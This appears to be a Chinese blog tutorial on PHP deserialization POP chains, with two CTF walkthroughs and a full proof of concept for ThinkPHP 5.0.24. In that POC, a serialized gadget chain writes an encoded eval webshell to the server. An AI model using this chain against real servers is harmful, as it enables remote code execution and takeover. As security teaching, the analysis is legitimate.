基本的魔术方法和反序列化漏洞原理这里就不展开了。
给出一些魔术方法的触发条件:
__construct()当一个对象创建(new)时被调用,但在unserialize()时是不会自动调用的
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup将在unserialize()时会自动调用
__set方法:当程序试图写入一个不存在或不可见的成员变量时,PHP就会执行set方法。
__get方法:当程序调用一个未定义或不可见的成员变量时,通过get方法来读取变量的值。
__invoke():当尝试以调用函数的方式调用一个对象时,invoke() 方法会被自动调用
__call()方法:当调用一个对象中不存在的方法时,call 方法将会被自动调用。
pop链
pop又称之为面向属性编程(Property-Oriented Programing)
,常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)
的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的;只不过ROP是通过栈溢出实现控制指令的执行流程,而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程;因为反序列化中我们能控制的也就只有对象的属性了
总的来说,POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload
构造思路对于POP链的构造,我们首先要找到它的头和尾。pop链的头部一般是用户能传入参数的地方,而尾部是可以执行我们操作的地方,比如说读写文件,执行命令等等;找到头尾之后,从尾部(我们执行操作的地方)开始,看它在哪个方法中,怎么样可以调用它,一层一层往上倒推,直到推到头部为止,也就是我们传参的地方,一条pop链子就出来了
下面我们看两个例子
POP链实例1<?php
highlight_file(__FILE__);
class Hello
{
public $source;
public $str;
public function __construct($name)
{
$this->str=$name;
}
public function __destruct()
{
$this->source=$this->str;
echo $this->source;
}
}
class Show
{
public $source;
public $str;
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
}
class Uwant
{
public $params;
public function __construct(){
$this->params='phpinfo();';
}
public function __get($key){
return $this->getshell($this->params);
}
public function getshell($value)
{
eval($this->params);
}
}
$a = $_GET['a'];
unserialize($a);
?>
__get方法:当程序调用一个未定义或不可见的成员变量时,通过get方法来读取变量的值。
__toString()当一个对象被当作一个字符串使用 (如,echo 一个对象)
__destruct()当一个对象销毁时被调用
思路分析:先找POP链的头和尾,头部明显是GET传参,尾部是Uwant
类中的getshell
,然后往上倒推,Uwant
类中的__get()
中调用了getshell
,Show
类中的__toString
可以调用__get()
,然后Hello
类中的__destruct()
可以构造来调用__toString
,所以我们GET传参让其先进入__destruct()
,这样头和尾就连上了,所以说完整的链子就是:
头 -> Hello::__destruct() -> Show::__toString() -> Uwant::__get() -> Uwant::getshell -> 尾
具体构造:
在Hello
类中我们要把$this->str
赋值成对象,下面echo
出来才能调用Show
类中的__toString()
,然后再把Show
类中的$this->str['str']
赋值成对象,来调用Uwant
类中的__get()
<?php
class Hello
{
public $source;
public $str;
}
class Show
{
public $source;
public $str;
}
class Uwant
{
public $params='phpinfo();';
}
$a = new Hello();
$b = new Show();
$c = new Uwant();
$a->str = $b;
$b->str['str']= $c;
echo serialize($a);
?>
然后将结果进行url编码,GET方式传入
POP链实例2——2021强网杯-赌徒<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
}
public function _sayhello(){
echo $this->name;
return 'ok';
}
public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}
class Info
{
private $phonenumber=123123;
public $promise='I do';
public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
}
class Room
{
public $filename='./flag';
public $sth_to_set;
public $a='';
public function __get($name){
$function = $this->a;
return $function();
}
public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}
public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
}
if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}else{
$hi = new Start();
}
?>
__wakeup将在unserialize()时会自动调用
__get方法:当程序调用一个未定义或不可见的成员变量时,通过get方法来读取变量的值。
__toString()当一个对象被当作一个字符串使用
__invoke():当尝试以调用函数的方式调用一个对象时,invoke() 方法会被自动调用
思路分析:首先依然是找到头和尾,头部依然是一个GET传参,而尾部可以看到Room
类中有个Get_hint()
方法,里面有一个file_get_contents
,可以实现任意文件读取,我们就可以利用这个读取flag文件了,然后就是往前倒推,Room
类中__invoke()
方法调用了Get_hint()
,然后Room
类的__get()
里面有个return $function()
可以调用__invoke()
,再往前看,Info
类中的__toString()
中有Room
类中不存在的属性,所以可以调用__get()
,然后Start
类中有个_sayhello()
可以调用__toString()
,然后在Start
类中__wakeup()
方法中直接调用了_sayhello()
,而我们知道的是,输入字符串之后就会先进入__wakeup()
,这样头和尾就连上了
头 -> Start::__wakeup() -> Start::__sayhello() -> Info::__toString() -> Room::__get() -> Room::__invoke() -> Room::__Get_hint() -> 尾
具体构造:
Start
类的__wakeup()
方法在反序列化时自动调用,然后调用__sayhello()
方法,这里我们要把$this->name
赋值成对象,echo
出来才能调用Info
类中的__toString()
,然后再把Info
类中的$this->file['filename']
赋值成对象,来调用Room
类中的__get()
,再把Room
类中的$this->a
赋值成对象,来调用Room
类中的__invoke()
,最终调用Get_hint
方法拿到flag
<?php
class Start
{
public $name;
}
class Info
{
private $phonenumber;
public $promise;
}
class Room
{
public $filename='./flag';
public $sth_to_set;
public $a='';
}
$a = new Start;
$b = new Info;
$c = new Room;
$d = new Room;
$a->name = $b;
$b->file['filename'] = $c;
$c->a = $d;
echo serialize($a);
echo '</br>';
echo urlencode(serialize($a));
?>
把前面的hi
去掉再进行base64解码才能得到flag
下载thinkPHP
http://www.thinkphp.cn/donate/download/id/1279.html
将源码解压后放到PHPstudy根目录,修改application/index/controller/Index.php文件,此为框架的反序列化漏洞,只有二次开发且实现反序列化才可利用。所以我们需要手工加入反序列化利用点。
添加一行代码即可:
unserialize(base64_decode($_GET['a']));
POP链构造分析
首先,进行全局搜索__destruct
查看thinkphp/library/think/process/pipes/Windows.php
的Windows类中调用了__destruct魔术方法
跟进removeFiles
方法
file_exists — 检查文件或目录是否存在
file_exists ( string
$filename
) : bool
发现file_exists函数,file_exists接收一个字符串,所以如果传入一个对象的话,会把对象当作字符串处理,这时候就可以调用__toString魔术方法。
全局搜索__toString:
查看此方法在Model(thinkphp/library/think/Model.php):
不过Model类为抽象类,不能直接调用
因此需要找他的子类。我们可以找到Pivot(thinkphp/library/think/model/Pivot.php)进行调用
回到__toString
方法,它调用了toJson()
方法,跟进toJson
继续跟进toArray
方法
public function toArray()
{
$item = [];
$visible = [];
$hidden = [];
$data = array_merge($this->data, $this->relation);
// 过滤属性
if (!empty($this->visible)) {
$array = $this->parseAttr($this->visible, $visible);
$data = array_intersect_key($data, array_flip($array));
} elseif (!empty($this->hidden)) {
$array = $this->parseAttr($this->hidden, $hidden, false);
$data = array_diff_key($data, array_flip($array));
}
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
$item[$key] = $this->subToArray($val, $visible, $hidden, $key);
} elseif (is_array($val) && reset($val) instanceof Model) {
// 关联模型数据集
$arr = [];
foreach ($val as $k => $value) {
$arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
}
$item[$key] = $arr;
} else {
// 模型属性
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . );
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
return !empty($item) ? $item : [];
}
只要对象可控,且调用了不存在的方法,就会调用__call
方法。可以看到,存在如下三个可能可以控制的对象:
经过分析最后一处$value->getAttr
是我们利用__call魔术方法 的点。
我们来看一下代码怎么才能执行到$value->getAttr
:
1.!empty($this->append) # $this->append不为空
2.!is_array($name) #$name不能为数组
3.!strpos($name, '.') #$name不能有.
4.method_exists($this, $relation) #$relation必须为Model类里的方法
5.method_exists($modelRelation, 'getBindAttr') #$modelRelation必须存在getBindAttr方法
6.$bindAttr #$bindAttr不为空
7.!isset($this->data[$key]) #$key不能在$this->data这个数组里有相同的值。
需要满足以上七个条件。
我们来逐个分析一下:
在toArray
方法中,$this->append
是可控的,因此$key
和$name
也是可控的,我们只需要使$this->append=['test']
随便几个字符就可以满足前三个条件,到了第四个条件,发现$relation
跟$name
有关系.如下:
$relation = Loader::parseName($name, 1, false);
跟进parseName
发现parseName
只是将字符串命名风格进行了转换。也就是说$name==$relation。
所以我们使$this->append=['getError']
,getError
为Model类里的方法,且结构简单返回值可控。这样就满足了第四个条件
下面进入了关键两行代码:
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
前面我们使得$relation
为getError
方法,返回值可控,所以$modelRelation
也可控。
跟进getRelationData
方法:
我们看到$modelRelation
必须为Relation
类的对象,可以通过$this->error
控制
要满足if语句的条件就可以让value可控,所以$modelRelation
这个对象还要有isSelfRelation()
、getModel()
方法。
这两种方法在Relation
类中都有,但因为Relation
为抽象类,需要寻找他的子类。全局搜索:
除了最后一个是抽象类外,都可以拿来用,但是我们还需要满足第五个条件,需要$modelRelation
必须存在getBindAttr
方法,但是Relation
类没有getBindAttr
方法,只有OneToOne
类里有,且OneToOne
类正好继承Relation
类,不过是抽象类,所以我们需要找它的子类。全局搜索:
发现存在两个可用的,我们选择第二个HasOne
类,即$this->error=new HasOne()
。这样就满足了第五个条件。
好了,调用方法的问题解决了,下面思考如何满足if语句的条件:
①
$this->parent
可控,我们要使用Output
类中的__call
,所以$value
必须为output
对象,所以$this->parent
必须控制为output
对象,即$this->parent=new Output()
.
②
我们看一下isSelfRelation()
方法:
public function isSelfRelation()
{
return $this->selfRelation;
}
$this->selfRelation
可控,设为false即可。
③
get_class — 返回对象的类名
$this->parent
已经确定为Output
类了,所以我们要控制get_class($modelRelation->getModel())
为Output
类,看一下getModel()
的实现:
public function getModel()
{
return $this->query->getModel();
}
$this->query
可控,我们只需要找个getModel
方法返回值可控的就可以了,全局搜索getModel
方法:
可以看到Query
类中getModel方法返回值可控,使$this->query=new Query()
,$this->model=new Output()
即可。
经过以上,满足了if语句的条件,if方法为True,$value=$this->parent=new Output()
.
下面来看第六个条件:
$bindAttr = $modelRelation->getBindAttr();
$this->bindAttr
可控,$this->bindAttr=["yokan","yokantest"],
随便写即可。这样就满足了第六个、第七个条件。
于是就到达了$item[$key] = $value ? $value->getAttr($attr) : null;
因为Output
类中没有getAttr
方法,所以会去调用__call
方法。
跟进Output类中的__call方法:
public function __call($method, $args)
{
if (in_array($method, $this->styles)) {
array_unshift($args, $method);
return call_user_func_array([$this, 'block'], $args);
}
if ($this->handle && method_exists($this->handle, $method)) {
return call_user_func_array([$this->handle, $method], $args);
} else {
throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
}
}
__call
方法中的$method=getAttr
, $args=['yokantest']
我们要使用call_user_func_array([$this, 'block'], $args);
就要使in_array($method, $this->styles)
成立。$this->styles
可控,即$this->styles=['getAttr']
array_unshift — 在数组开头插入一个或多个单元
array_unshift ( array
&$array
[, mixed $...] ) : int
array_unshift($args, $method);
是将$method
添加到数组$args
中不用管。
进入call_user_func_array([$this, 'block'], $args);
call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数
call_user_func_array( callable $callback, array $param_arr) : mixed
把第一个参数作为回调函数(
callback
)调用,把参数数组作(param_arr
)为回调函数的的参数传入。
调用了block
方法,跟进block
方法:
跟进writeln方法:
跟进write方法:
$this->handle
可控全局查找可利用的write
方法:
这里选择/thinkphp/library/think/session/driver/Memcache.php
里的write
方法
因为Memcached
也存在一个$this->handle
我们可以控制,进而可以利用set
方法。
全局查找set方法:
这里选择thinkphp/library/think/cache/driver/File.php
下的set
方法,因为发现存在写入文件:
$result = file_put_contents($filename, $data);
接下来就是查看$filename
, $data
这两个参数是否可控:
先看$filename
:
跟进getCacheKey
方法:
这里$this->options
可控,所以$filename
可控。
现在就只需要写入的$data
可控了:
$data
的值来自$value
,但是$value
我们没法控制
但是继续往下看,进入setTagItem
方法之后发现,会将$name
换成$value
再一次执行了set
方法。
前面分析过,$filename
我们可以控制,所以$value
也可以控制,所以这次调用set
方法,传入的三个值我们都可以控制:
最后再通过php伪协议可以绕过exit()的限制 ,就可以将危害代码写在服务器上了。
例如:
$this->options['path']=php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[pzq]);?>
生成的文件名为:
md5('tag_'.md5($this->tag))
即:
md5('tag_c4ca4238a0b923820dcc509a6f75849b')
=>3b58a9545013e88c7186db11bb158c44
=> <?cuc cucvasb();riny($_TRG[pzq]);?> + 3b58a9545013e88c7186db11bb158c44
最终文件名:
<?cuc cucvasb();riny($_TRG[pzq]);?>3b58a9545013e88c7186db11bb158c44.php
对于windows环境我们可以使用以下payload.
$this->options['path']=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php
生成的文件名如下:
原理可以看这篇文章:https://xz.aliyun.com/t/7457#toc-3
POP链(图) POC<?php
namespace think\process\pipes {
class Windows {
private $files = [];
public function __construct($files)
{
$this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类
}
}
}
namespace think {
abstract class Model{
protected $append = [];
protected $error = null;
public $parent;
function __construct($output, $modelRelation)
{
$this->parent = $output; //$this->parent=> think\console\Output;
$this->append = array("xxx"=>"getError"); //调用getError 返回this->error
$this->error = $modelRelation; // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
function __construct($output, $modelRelation)
{
parent::__construct($output, $modelRelation);
}
}
}
namespace think\model\relation{
class HasOne extends OneToOne {
}
}
namespace think\model\relation {
abstract class OneToOne
{
protected $selfRelation;
protected $bindAttr = [];
protected $query;
function __construct($query)
{
$this->selfRelation = 0;
$this->query = $query; //$query指向Query
$this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
}
}
}
namespace think\db {
class Query {
protected $model;
function __construct($model)
{
$this->model = $model; //$this->model=> think\console\Output;
}
}
}
namespace think\console{
class Output{
private $handle;
protected $styles;
function __construct($handle)
{
$this->styles = ['getAttr'];
$this->handle =$handle; //$handle->think\session\driver\Memcached
}
}
}
namespace think\session\driver {
class Memcached
{
protected $handler;
function __construct($handle)
{
$this->handler = $handle; //$handle->think\cache\driver\File
}
}
}
namespace think\cache\driver {
class File
{
protected $options=null;
protected $tag;
function __construct(){
$this->options=[
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
'data_compress' => false,
];
$this->tag = 'xxx';
}
}
}
namespace {
$Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
$Output = new think\console\Output($Memcached);
$model = new think\db\Query($Output);
$HasOne = new think\model\relation\HasOne($model);
$window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));
echo serialize($window);
echo "<br/><br/><br/>";
echo base64_encode(serialize($window));
}
复现
漏洞环境:
生成POC:
触发:
利用:
参考https://jfanx1ng.github.io/2020/05/07/ThinkPHP5.0.24反序列化漏洞分析/
https://www.freebuf.com/articles/web/284091.html
https://xz.aliyun.com/t/8143#toc-10
https://blog.wh1sper.com/posts/thinkphp5代码审计/
http://arsenetang.com/2021/08/17/反序列化篇之pop链的构造(下)/
https://xz.aliyun.com/t/7457
永远相信 永远热爱